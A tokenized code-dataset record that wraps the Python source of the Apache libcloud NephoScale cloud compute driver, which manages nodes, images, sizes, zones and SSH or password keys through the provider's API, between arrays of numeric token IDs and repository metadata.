1802, 3217, 2122, 267, 291, 14, 1637, 63, 15549, 63, 5337, 847, 413, 267, 3920, 14, 2526, 480, 4859, 627, 4442, 1052, 6038, 9769, 55, 7125, 665, 499, 2401, 1052, 690, 378, 1674, 908, 8, 288, 291, 14, 2105, 14, 1483, 14, 3513, 63, 354, 8, 1224, 63, 354, 395, 288, 291, 14, 1637, 63, 15549, 63, 5337, 430, 267, 1369, 275, 942, 267, 367, 4328, 315, 3920, 14, 1802, 26, 288, 536, 275, 3542, 63, 505, 8, 3257, 59, 16, 566, 221, 327, 17280, 63, 21202, 3544, 2529, 282, 283, 495, 7, 641, 3865, 2018, 499, 436, 650, 288, 536, 275, 536, 450, 1052, 221, 327, 17280, 63, 21202, 12, 367, 2005, 4499, 12, 4270, 83, 8878, 27624, 14, 288, 1369, 14, 740, 8, 792, 2354, 29316, 354, 14, 2325, 1062, 9, 435, 4328, 59, 17, 16720, 267, 372, 1369, 339, 347, 1817, 63, 354, 63, 11256, 8, 277, 12, 536, 304, 267, 298, 3186, 536, 9132, 365, 1930, 27845, 1334, 15309, 2, 267, 372, 536, 14, 2325, 342, 339, 347, 485, 354, 63, 475, 63, 1080, 8, 277, 12, 3920, 12, 1817, 63, 354, 304, 267, 408, 267, 1803, 282, 2600, 402, 469, 698, 63, 354, 26, 901, 63, 1080, 93, 367, 314, 1627, 1817, 14, 267, 5499, 397, 787, 378, 13, 6788, 14, 267, 408, 267, 372, 469, 68, 59, 16, 2189, 284, 367, 284, 12, 366, 315, 3874, 8, 277, 14, 362, 63, 1224, 63, 1802, 8, 3937, 12, 1817, 63, 354, 430, 93, 339, 347, 664, 63, 15741, 8, 277, 12, 3920, 12, 1817, 63, 354, 304, 267, 408, 267, 1803, 282, 2600, 402, 469, 698, 63, 354, 26, 334, 698, 63, 354, 63, 1848, 63, 1224, 12, 1163, 63, 1224, 6769, 267, 6144, 1006, 20045, 370, 314, 1627, 1817, 14, 267, 408, 267, 1817, 63, 354, 275, 1817, 63, 354, 14, 4142, 342, 267, 3920, 14, 2526, 4852, 272, 10468, 3052, 14, 2301, 63, 354, 12, 7070, 14, 1224, 63, 354, 12, 7070, 14, 2301, 63, 354, 272, 4442, 257, 922, 63, 9882, 12, 13044, 63, 1864, 51, 63, 28427, 1704, 12, 13044, 63, 1864, 51, 63, 28427, 7434, 12, 1779, 922, 63, 2902, 63, 4574, 3052, 12, 922, 63, 2902, 63, 4574, 7070, 272, 6038, 221, 922, 63, 9882, 14, 1224, 63, 354, 275, 450, 83, 2401, 1779, 3052, 14, 1224, 63, 354, 275, 922, 63, 9882, 14, 1224, 63, 354, 2401, 1779, 3052, 14, 2301, 63, 354, 275, 1704, 14, 2301, 63, 354, 2401, 1779, 1704, 14, 1224, 63, 354, 275, 3052, 14, 1224, 63, 354, 2401, 1779, 922, 63, 9882, 14, 5631, 63, 354, 275, 1704, 14, 5631, 63, 354, 2401, 1779, 922, 63, 9882, 14, 82, 63, 5631, 63, 354, 275, 7434, 14, 5631, 63, 354, 2401, 1779, 7434, 14, 1224, 63, 354, 275, 7070, 14, 1224, 63, 354, 2401, 1779, 7434, 14, 2301, 63, 354, 275, 7070, 14, 2301, 63, 354, 2401, 1779, 1704, 14, 3124, 275, 7434, 14, 3124, 7208, 359, 1224, 63, 354, 566, 398, 16109, 275, 1052, 267, 367, 1962, 315, 3920, 14, 10174, 837, 288, 16109, 59, 1143, 59, 16, 1055, 2325, 5106, 275, 334, 1143, 59, 18, 1055, 2325, 1062, 1962, 59, 17, 1055, 2325, 1012, 267, 372, 16109, 339, 347, 664, 63, 498, 63, 3406, 8, 277, 12, 3920, 12, 1817, 63, 354, 304, 267, 3920, 14, 2526, 4852, 288 ]
[ 17280, 63, 21202, 199, 199, 504, 1639, 14, 697, 14, 7765, 14, 1095, 14, 21627, 492, 334, 272, 29103, 30516, 12, 5024, 2354, 12, 6957, 2354, 12, 199, 9, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 505, 421, 199, 533, 8692, 30516, 8, 1563, 7243, 30516, 304, 272, 327, 23673, 730, 2251, 370, 5634, 5024, 2943, 14, 272, 666, 63, 1313, 63, 4471, 275, 469, 267, 17280, 63, 21202, 14, 26275, 26, 283, 6636, 792, 297, 267, 17280, 63, 21202, 14, 35, 9376, 26, 283, 6254, 297, 267, 17280, 63, 21202, 14, 12488, 26, 283, 14071, 297, 267, 17280, 63, 21202, 14, 23837, 63, 5901, 26, 283, 2183, 297, 267, 17280, 63, 21202, 14, 6389, 9376, 26, 283, 6254, 297, 267, 17280, 63, 21202, 14, 9190, 26, 283, 15975, 297, 267, 17280, 63, 21202, 14, 5353, 26, 283, 2183, 297, 267, 17280, 63, 21202, 14, 20277, 26, 283, 4626, 297, 272, 789, 339, 862, 26, 267, 666, 63, 1313, 63, 4471, 59, 11859, 63, 21202, 14, 46, 14277, 63, 11783, 61, 275, 283, 13019, 7, 272, 871, 4281, 26, 267, 986, 339, 862, 26, 267, 666, 63, 1313, 63, 4471, 59, 11859, 63, 21202, 14, 12819, 61, 275, 283, 2183, 7, 272, 871, 4281, 26, 267, 986, 339, 2581, 63, 15549, 63, 5337, 275, 413, 339, 347, 664, 63, 698, 63, 466, 8, 277, 12, 666, 63, 466, 12, 1369, 304, 267, 327, 982, 652, 1159, 282, 18122, 543, 4666, 508, 378, 12, 11201, 652, 376, 26141, 267, 340, 666, 63, 466, 508, 17280, 63, 21202, 14, 9190, 26, 288, 7151, 12, 4666, 275, 1369, 59, 20, 26, 22, 61, 288, 340, 4666, 508, 378, 26, 355, 340, 7151, 690, 4119, 26, 490, 372, 283, 25175, 7, 355, 916, 7151, 508, 413, 26, 490, 372, 283, 5036, 7, 355, 587, 26, 490, 372, 283, 3901, 7, 288, 916, 4666, 508, 446, 4195, 26, 355, 372, 283, 13019, 7, 398, 372, 1613, 8, 7243, 30516, 12, 291, 680, 362, 63, 698, 63, 466, 8, 576, 63, 466, 12, 1369, 9, 339, 347, 664, 63, 1224, 63, 513, 8, 277, 12, 3920, 304, 267, 408, 267, 1803, 282, 769, 402, 1817, 436, 2455, 1561, 315, 314, 1453, 3050, 14, 267, 408, 267, 3920, 14, 2526, 480, 4859, 9934, 63, 2339, 12, 283, 84, 7, 4442, 13044, 63, 10129, 11344, 6778, 1075, 11727, 298, 2432, 298, 4859, 30359, 63, 2339, 12, 283, 86, 7, 4442, 13044, 63, 54, 4332, 5035, 531, 267, 372, 359, 3186, 2354, 8, 1143, 59, 16, 1055, 2325, 1062, 1962, 59, 17, 566, 367, 1962, 315, 3920, 14, 10174, 5106, 339, 347, 664, 63, 1224, 63, 1802, 8, 277, 12, 3920, 12, 1817, 63, 354, 304, 267, 298, 3407, 282, 1369, 402, 314, 1817, 12, 543, 314, 6249, 13, 3735, 3920, 14, 1802, 3217, 2122, 267, 291, 14, 1637, 63, 15549, 63, 5337, 847, 413, 267, 3920, 14, 2526, 480, 4859, 627, 4442, 1052, 6038, 9769, 55, 7125, 665, 499, 2401, 1052, 690, 378, 1674, 908, 8, 288, 291, 14, 2105, 14, 1483, 14, 3513, 63, 354, 8, 1224, 63, 354, 395, 288, 291, 14, 1637, 63, 15549, 63, 5337, 430, 267, 1369, 275, 942, 267, 367, 4328, 315, 3920, 14, 1802, 26, 288, 536, 275, 3542, 63, 505, 8, 3257, 59, 16, 566, 221, 327, 17280, 63, 21202, 3544, 2529, 282, 283, 495, 7, 641, 3865, 2018, 499, 436, 650, 288, 536, 275, 536, 450, 1052, 221, 327, 17280, 63, 21202, 12, 367, 2005, 4499, 12, 4270, 83, 8878, 27624, 14, 288, 1369, 14, 740, 8, 792, 2354, 29316, 354, 14, 2325, 1062, 9, 435, 4328, 59, 17, 16720, 267, 372, 1369, 339, 347, 1817, 63, 354, 63, 11256, 8, 277, 12, 536, 304, 267, 298, 3186, 536, 9132, 365, 1930, 27845, 1334, 15309, 2, 267, 372, 536, 14, 2325, 342, 339, 347, 485, 354, 63, 475, 63, 1080, 8, 277, 12, 3920, 12, 1817, 63, 354, 304, 267, 408, 267, 1803, 282, 2600, 402, 469, 698, 63, 354, 26, 901, 63, 1080, 93, 367, 314, 1627, 1817, 14, 267, 5499, 397, 787, 378, 13, 6788, 14, 267, 408, 267, 372, 469, 68, 59, 16, 2189, 284, 367, 284, 12, 366, 315, 3874, 8, 277, 14, 362, 63, 1224, 63, 1802, 8, 3937, 12, 1817, 63, 354, 430, 93, 339, 347, 664, 63, 15741, 8, 277, 12, 3920, 12, 1817, 63, 354, 304, 267, 408, 267, 1803, 282, 2600, 402, 469, 698, 63, 354, 26, 334, 698, 63, 354, 63, 1848, 63, 1224, 12, 1163, 63, 1224, 6769, 267, 6144, 1006, 20045, 370, 314, 1627, 1817, 14, 267, 408, 267, 1817, 63, 354, 275, 1817, 63, 354, 14, 4142, 342, 267, 3920, 14, 2526, 4852, 272, 10468, 3052, 14, 2301, 63, 354, 12, 7070, 14, 1224, 63, 354, 12, 7070, 14, 2301, 63, 354, 272, 4442, 257, 922, 63, 9882, 12, 13044, 63, 1864, 51, 63, 28427, 1704, 12, 13044, 63, 1864, 51, 63, 28427, 7434, 12, 1779, 922, 63, 2902, 63, 4574, 3052, 12, 922, 63, 2902, 63, 4574, 7070, 272, 6038, 221, 922, 63, 9882, 14, 1224, 63, 354, 275, 450, 83, 2401, 1779, 3052, 14, 1224, 63, 354, 275, 922, 63, 9882, 14, 1224, 63, 354, 2401, 1779, 3052, 14, 2301, 63, 354, 275, 1704, 14, 2301, 63, 354, 2401, 1779, 1704, 14, 1224, 63, 354, 275, 3052, 14, 1224, 63, 354, 2401, 1779, 922, 63, 9882, 14, 5631, 63, 354, 275, 1704, 14, 5631, 63, 354, 2401, 1779, 922, 63, 9882, 14, 82, 63, 5631, 63, 354, 275, 7434, 14, 5631, 63, 354, 2401, 1779, 7434, 14, 1224, 63, 354, 275, 7070, 14, 1224, 63, 354, 2401, 1779, 7434, 14, 2301, 63, 354, 275, 7070, 14, 2301, 63, 354, 2401, 1779, 1704, 14, 3124, 275, 7434, 14, 3124, 7208, 359, 1224, 63, 354, 566, 398, 16109, 275, 1052, 267, 367, 1962, 315, 3920, 14, 10174, 837, 288, 16109, 59, 1143, 59, 16, 1055, 2325, 5106, 275, 334, 1143, 59, 18, 1055, 2325, 1062, 1962, 59, 17, 1055, 2325, 1012, 267, 372, 16109, 339, 347, 664, 63, 498, 63, 3406, 8, 277, 12, 3920, 12, 1817, 63, 354, 304, 267, 3920, 14, 2526, 4852, 288, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Hybrid-Cloud/badam
patches_tool/aws_patch/aws_deps/libcloud/compute/drivers/nephoscale.py
1
17670
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ NephoScale Cloud driver (http://www.nephoscale.com) API documentation: http://docs.nephoscale.com Created by Markos Gogoulos (https://mist.io) """ import base64 import sys import time import os import binascii from libcloud.utils.py3 import httplib from libcloud.utils.py3 import b from libcloud.utils.py3 import urlencode from libcloud.compute.providers import Provider from libcloud.common.base import JsonResponse, ConnectionUserAndKey from libcloud.compute.types import (NodeState, InvalidCredsError, LibcloudError) from libcloud.compute.base import (Node, NodeDriver, NodeImage, NodeSize, NodeLocation) from libcloud.utils.networking import is_private_subnet API_HOST = 'api.nephoscale.com' NODE_STATE_MAP = { 'on': NodeState.RUNNING, 'off': NodeState.UNKNOWN, 'unknown': NodeState.UNKNOWN, } VALID_RESPONSE_CODES = [httplib.OK, httplib.ACCEPTED, httplib.CREATED, httplib.NO_CONTENT] # used in create_node and specifies how many times to get the list of nodes and # check if the newly created node is there. This is because when a request is # sent to create a node, NephoScale replies with the job id, and not the node # itself thus we don't have the ip addresses, that are required in deploy_node CONNECT_ATTEMPTS = 10 class NodeKey(object): def __init__(self, id, name, public_key=None, key_group=None, password=None): self.id = id self.name = name self.key_group = key_group self.password = password self.public_key = public_key def __repr__(self): return (('<NodeKey: id=%s, name=%s>') % (self.id, self.name)) class NephoscaleResponse(JsonResponse): """ Nephoscale API Response """ def parse_error(self): if self.status == httplib.UNAUTHORIZED: raise InvalidCredsError('Authorization Failed') if self.status == httplib.NOT_FOUND: raise Exception("The resource you are looking for is not found.") return self.body def success(self): return self.status in VALID_RESPONSE_CODES class NephoscaleConnection(ConnectionUserAndKey): """ Nephoscale connection class. Authenticates to the API through Basic Authentication with username/password """ host = API_HOST responseCls = NephoscaleResponse allow_insecure = False def add_default_headers(self, headers): """ Add parameters that are necessary for every request """ user_b64 = base64.b64encode(b('%s:%s' % (self.user_id, self.key))) headers['Authorization'] = 'Basic %s' % (user_b64.decode('utf-8')) return headers class NephoscaleNodeDriver(NodeDriver): """ Nephoscale node driver class. >>> from libcloud.compute.providers import get_driver >>> driver = get_driver('nephoscale') >>> conn = driver('nepho_user','nepho_password') >>> conn.list_nodes() """ type = Provider.NEPHOSCALE api_name = 'nephoscale' name = 'NephoScale' website = 'http://www.nephoscale.com' connectionCls = NephoscaleConnection features = {'create_node': ['ssh_key']} def list_locations(self): """ List available zones for deployment :rtype: ``list`` of :class:`NodeLocation` """ result = self.connection.request('/datacenter/zone/').object locations = [] for value in result.get('data', []): location = NodeLocation(id=value.get('id'), name=value.get('name'), country='US', driver=self) locations.append(location) return locations def list_images(self): """ List available images for deployment :rtype: ``list`` of :class:`NodeImage` """ result = self.connection.request('/image/server/').object images = [] for value in result.get('data', []): extra = {'architecture': value.get('architecture'), 'disks': value.get('disks'), 'billable_type': value.get('billable_type'), 'pcpus': value.get('pcpus'), 'cores': value.get('cores'), 'uri': value.get('uri'), 'storage': value.get('storage'), } image = NodeImage(id=value.get('id'), name=value.get('friendly_name'), driver=self, extra=extra) images.append(image) return images def list_sizes(self): """ List available sizes containing prices :rtype: ``list`` of :class:`NodeSize` """ result = self.connection.request('/server/type/cloud/').object sizes = [] for value in result.get('data', []): value_id = value.get('id') size = NodeSize(id=value_id, name=value.get('friendly_name'), ram=value.get('ram'), disk=value.get('storage'), bandwidth=None, price=self._get_size_price(size_id=str(value_id)), driver=self) sizes.append(size) return sorted(sizes, key=lambda k: k.price) def list_nodes(self): """ List available nodes :rtype: ``list`` of :class:`Node` """ result = self.connection.request('/server/cloud/').object nodes = [self._to_node(value) for value in result.get('data', [])] return nodes def rename_node(self, node, name, hostname=None): """rename a cloud server, optionally specify hostname too""" data = {'name': name} if hostname: data['hostname'] = hostname params = urlencode(data) result = self.connection.request('/server/cloud/%s/' % node.id, data=params, method='PUT').object return result.get('response') in VALID_RESPONSE_CODES def reboot_node(self, node): """reboot a running node""" result = self.connection.request('/server/cloud/%s/initiator/restart/' % node.id, method='POST').object return result.get('response') in VALID_RESPONSE_CODES def ex_start_node(self, node): """start a stopped node""" result = self.connection.request('/server/cloud/%s/initiator/start/' % node.id, method='POST').object return result.get('response') in VALID_RESPONSE_CODES def ex_stop_node(self, node): """stop a running node""" result = self.connection.request('/server/cloud/%s/initiator/stop/' % node.id, method='POST').object return result.get('response') in VALID_RESPONSE_CODES def destroy_node(self, node): """destroy a node""" result = self.connection.request('/server/cloud/%s/' % node.id, method='DELETE').object return result.get('response') in VALID_RESPONSE_CODES def ex_list_keypairs(self, ssh=False, password=False, key_group=None): """ List available console and server keys There are two types of keys for NephoScale, ssh and password keys. If run without arguments, lists all keys. Otherwise list only ssh keys, or only password keys. Password keys with key_group 4 are console keys. When a server is created, it has two keys, one password or ssh key, and one password console key. :keyword ssh: if specified, show ssh keys only (optional) :type ssh: ``bool`` :keyword password: if specified, show password keys only (optional) :type password: ``bool`` :keyword key_group: if specified, show keys with this key_group only eg key_group=4 for console password keys (optional) :type key_group: ``int`` :rtype: ``list`` of :class:`NodeKey` """ if (ssh and password): raise LibcloudError('You can only supply ssh or password. To \ get all keys call with no arguments') if ssh: result = self.connection.request('/key/sshrsa/').object elif password: result = self.connection.request('/key/password/').object else: result = self.connection.request('/key/').object keys = [self._to_key(value) for value in result.get('data', [])] if key_group: keys = [key for key in keys if key.key_group == key_group] return keys def ex_create_keypair(self, name, public_key=None, password=None, key_group=None): """Creates a key, ssh or password, for server or console The group for the key (key_group) is 1 for Server and 4 for Console Returns the id of the created key """ if public_key: if not key_group: key_group = 1 data = { 'name': name, 'public_key': public_key, 'key_group': key_group } params = urlencode(data) result = self.connection.request('/key/sshrsa/', data=params, method='POST').object else: if not key_group: key_group = 4 if not password: password = self.random_password() data = { 'name': name, 'password': password, 'key_group': key_group } params = urlencode(data) result = self.connection.request('/key/password/', data=params, method='POST').object return result.get('data', {}).get('id', '') def ex_delete_keypair(self, key_id, ssh=False): """Delete an ssh key or password given it's id """ if ssh: result = self.connection.request('/key/sshrsa/%s/' % key_id, method='DELETE').object else: result = self.connection.request('/key/password/%s/' % key_id, method='DELETE').object return result.get('response') in VALID_RESPONSE_CODES def create_node(self, name, size, image, server_key=None, console_key=None, zone=None, **kwargs): """Creates the node, and sets the ssh key, console key NephoScale will respond with a 200-200 response after sending a valid request. If nowait=True is specified in the args, we then ask a few times until the server is created and assigned a public IP address, so that deploy_node can be run >>> from libcloud.compute.providers import get_driver >>> driver = get_driver('nephoscale') >>> conn = driver('nepho_user','nepho_password') >>> conn.list_nodes() >>> name = 'staging-server' >>> size = conn.list_sizes()[0] <NodeSize: id=27, ...name=CS025 - 0.25GB, 10GB, ...> >>> image = conn.list_images()[9] <NodeImage: id=49, name=Linux Ubuntu Server 10.04 LTS 64-bit, ...> >>> server_keys = conn.ex_list_keypairs(key_group=1)[0] <NodeKey: id=71211, name=markos> >>> server_key = conn.ex_list_keypairs(key_group=1)[0].id 70867 >>> console_keys = conn.ex_list_keypairs(key_group=4)[0] <NodeKey: id=71213, name=mistio28434> >>> console_key = conn.ex_list_keypairs(key_group=4)[0].id 70907 >>> node = conn.create_node(name=name, size=size, image=image, \ console_key=console_key, server_key=server_key) We can also create an ssh key, plus a console key and deploy node with them >>> server_key = conn.ex_create_keypair(name, public_key='123') 71211 >>> console_key = conn.ex_create_keypair(name, key_group=4) 71213 We can increase the number of connect attempts to wait until the node is created, so that deploy_node has ip address to deploy the script We can also specify the location >>> location = conn.list_locations()[0] >>> node = conn.create_node(name=name, ... size=size, ... image=image, ... console_key=console_key, ... server_key=server_key, ... connect_attempts=10, ... nowait=True, ... zone=location.id) """ hostname = kwargs.get('hostname', name) service_type = size.id image = image.id connect_attempts = int(kwargs.get('connect_attempts', CONNECT_ATTEMPTS)) data = {'name': name, 'hostname': hostname, 'service_type': service_type, 'image': image, 'server_key': server_key, 'console_key': console_key, 'zone': zone } params = urlencode(data) try: node = self.connection.request('/server/cloud/', data=params, method='POST') except Exception: e = sys.exc_info()[1] raise Exception("Failed to create node %s" % e) node = Node(id='', name=name, state=NodeState.UNKNOWN, public_ips=[], private_ips=[], driver=self) nowait = kwargs.get('ex_wait', False) if not nowait: return node else: # try to get the created node public ips, for use in deploy_node # At this point we don't have the id of the newly created Node, # so search name in nodes created_node = False while connect_attempts > 0: nodes = self.list_nodes() created_node = [c_node for c_node in nodes if c_node.name == name] if created_node: return created_node[0] else: time.sleep(60) connect_attempts = connect_attempts - 1 return node def _to_node(self, data): """Convert node in Node instances """ state = NODE_STATE_MAP.get(data.get('power_status'), '4') public_ips = [] private_ips = [] ip_addresses = data.get('ipaddresses', '') # E.g. "ipaddresses": "198.120.14.6, 10.132.60.1" if ip_addresses: for ip in ip_addresses.split(','): ip = ip.replace(' ', '') if is_private_subnet(ip): private_ips.append(ip) else: public_ips.append(ip) extra = { 'zone_data': data.get('zone'), 'zone': data.get('zone', {}).get('name'), 'image': data.get('image', {}).get('friendly_name'), 'create_time': data.get('create_time'), 'network_ports': data.get('network_ports'), 'is_console_enabled': data.get('is_console_enabled'), 'service_type': data.get('service_type', {}).get('friendly_name'), 'hostname': data.get('hostname') } node = Node(id=data.get('id'), name=data.get('name'), state=state, public_ips=public_ips, private_ips=private_ips, driver=self, extra=extra) return node def _to_key(self, data): return NodeKey(id=data.get('id'), name=data.get('name'), password=data.get('password'), key_group=data.get('key_group'), public_key=data.get('public_key')) def random_password(self, size=8): value = os.urandom(size) password = binascii.hexlify(value).decode('ascii') return password[:size]
apache-2.0
[ 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 503, 1655, 202, 199, 3, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 1854, 543, 202, 199, 3, 642, 1736, 367, 4722, 2556, 12602, 4248, 12715, 14, 202, 199, 3, 710, 14857, 12378, 642, 570, 370, 2047, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 202, 199, 3, 334, 1589, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 202, 199, 3, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 202, 199, 3, 202, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 202, 199, 3, 202, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 202, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 202, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 202, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 202, 199, 3, 4204, 1334, 314, 844, 14, 2999, 199, 624, 202, 199, 46, 1545, 526, 9944, 8142, 5253, 334, 1014, 921, 1544, 14, 685, 21936, 3467, 14, 957, 9, 202, 199, 3735, 3794, 26, 1455, 921, 4757, 14, 685, 21936, 3467, 14, 957, 202, 199, 10502, 701, 7173, 736, 598, 974, 810, 11560, 334, 2859, 921, 77, 631, 14, 2308, 9, 202, 199, 624, 2999, 199, 646, 1300, 772, 202, 199, 646, 984, 202, 199, 646, 900, 202, 199, 646, 747, 202, 199, 646, 14755, 2999, 199, 504, 17069, 14, 1208, 14, 647, 19, 492, 8809, 202, 199, 504, 17069, 14, 1208, 14, 647, 19, 492, 330, 202, 199, 504, 17069, 14, 1208, 14, 647, 19, 492, 16511, 2999, 199, 504, 17069, 14, 3357, 14, 9710, 492, 18489, 202, 199, 504, 17069, 14, 2330, 14, 1095, 492, 21072, 12, 8113, 1899, 3325, 1197, 202, 199, 504, 17069, 14, 3357, 14, 1313, 492, 334, 1716, 2223, 12, 6378, 35, 10428, 547, 12, 202, 2511, 8003, 4091, 547, 9, 202, 199, 504, 17069, 14, 3357, 14, 1095, 492, 334, 1716, 12, 5013, 6158, 12, 5013, 3491, 12, 5013, 2320, 12, 202, 3521, 5013, 6592, 9, 202, 199, 504, 17069, 14, 1208, 14, 1200, 316, 492, 365, 63, 4239, 63, 5327, 2999, 199, 3735, 63, 5449, 275, 283, 1246, 14, 685, 21936, 3467, 14, 957, 7, 2999, 199, 8063, 63, 6689, 63, 5443, 275, 469, 1128, 283, 265, 356, 5013, 2223, 14, 17305, 12, 1128, 283, 1997, 356, 5013, 2223, 14, 11588, 12, 1128, 283, 5187, 356, 5013, 2223, 14, 11588, 12, 202, 199, 93, 2999, 199, 5600, 63, 12801, 63, 15639, 275, 359, 12942, 14, 3593, 12, 8809, 14, 13089, 1149, 12, 8809, 14, 26561, 12, 8282, 8809, 14, 2826, 63, 9663, 61, 2999, 199, 3, 1202, 315, 1218, 63, 932, 436, 9314, 4212, 5002, 5431, 370, 664, 314, 769, 402, 3380, 436, 202, 199, 3, 1104, 340, 314, 13903, 2737, 1031, 365, 2337, 14, 961, 365, 2952, 1380, 282, 1056, 365, 202, 199, 3, 4847, 370, 1218, 282, 1031, 12, 653, 1545, 526, 9944, 1833, 6528, 543, 314, 3906, 1305, 12, 436, 440, 314, 1031, 202, 199, 3, 6337, 12850, 781, 2793, 1133, 1172, 314, 3384, 7149, 12, 626, 787, 1415, 315, 12287, 63, 932, 202, 199, 14657, 63, 619, 12510, 9730, 275, 1616, 8065, 199, 533, 5013, 1197, 8, 785, 304, 1128, 347, 636, 826, 721, 277, 12, 1305, 12, 536, 12, 4575, 63, 498, 29, 403, 12, 790, 63, 923, 29, 403, 12, 20085, 2505, 29, 403, 304, 1039, 291, 14, 344, 275, 1305, 1039, 291, 14, 354, 275, 536, 1039, 291, 14, 498, 63, 923, 275, 790, 63, 923, 1039, 291, 14, 2060, 275, 2505, 1039, 291, 14, 3455, 63, 498, 275, 4575, 63, 498, 2958, 347, 636, 2722, 721, 277, 304, 1039, 372, 334, 4827, 1716, 1197, 26, 1305, 2458, 83, 12, 536, 2458, 83, 5971, 450, 2628, 334, 277, 14, 344, 12, 291, 14, 354, 430, 8065, 199, 533, 653, 1545, 526, 3467, 2364, 8, 9653, 2364, 304, 1128, 408, 1128, 653, 1545, 526, 3467, 3261, 7232, 1128, 408, 2958, 347, 2198, 63, 705, 8, 277, 304, 1039, 340, 291, 14, 1205, 508, 8809, 14, 1734, 25303, 1149, 26, 1675, 746, 6378, 35, 10428, 547, 360, 11626, 16277, 358, 1039, 340, 291, 14, 1205, 508, 8809, 14, 4609, 63, 13945, 26, 1675, 746, 2186, 480, 1918, 2073, 1265, 787, 10023, 367, 365, 440, 1911, 2685, 4341, 372, 291, 14, 2030, 2958, 347, 3182, 8, 277, 304, 1039, 372, 291, 14, 1205, 315, 22049, 63, 12801, 63, 15639, 8065, 199, 533, 653, 1545, 526, 3467, 3225, 8, 3225, 1899, 3325, 1197, 304, 1128, 408, 1128, 653, 1545, 526, 3467, 1950, 1021, 14, 1128, 3590, 2815, 2335, 370, 314, 3261, 4012, 10082, 15995, 1128, 543, 3434, 15, 2060, 1128, 408, 1128, 1591, 275, 3261, 63, 5449, 1128, 1177, 24342, 275, 653, 1545, 526, 3467, 2364, 2958, 2040, 63, 24824, 275, 756, 2958, 347, 1050, 63, 885, 63, 2139, 8, 277, 12, 2323, 304, 1039, 408, 1039, 2654, 2633, 626, 787, 5784, 367, 4036, 1056, 1039, 408, 1039, 922, 63, 66, 772, 275, 1300, 772, 14, 66, 772, 2143, 8, 66, 3508, 83, 2689, 83, 7, 450, 334, 277, 14, 751, 63, 344, 12, 291, 14, 498, 1724, 1039, 2323, 459, 11626, 418, 275, 283, 6845, 450, 83, 7, 450, 334, 751, 63, 66, 772, 14, 2708, 360, 1624, 13, 24, 1333, 1039, 372, 2323, 8065, 199, 533, 653, 1545, 526, 3467, 1716, 6158, 8, 1716, 6158, 304, 1128, 408, 1128, 653, 1545, 526, 3467, 1031, 5253, 1021, 14, 2958, 1306, 687, 17069, 14, 3357, 14, 9710, 492, 664, 63, 3090, 1128, 1306, 5253, 275, 664, 63, 3090, 360, 685, 21936, 3467, 358, 1128, 1306, 2557, 275, 5253, 360, 685, 21936, 63, 751, 1673, 685, 21936, 63, 2060, 358, 1128, 1306, 2557, 14, 513, 63, 2415, 342, 1128, 408, 2958, 730, 275, 18489, 14, 46, 6102, 2979, 24333, 1128, 2986, 63, 354, 275, 283, 685, 21936, 3467, 7, 1128, 536, 275, 283, 46, 1545, 526, 9944, 7, 1128, 10691, 275, 283, 1014, 921 ]
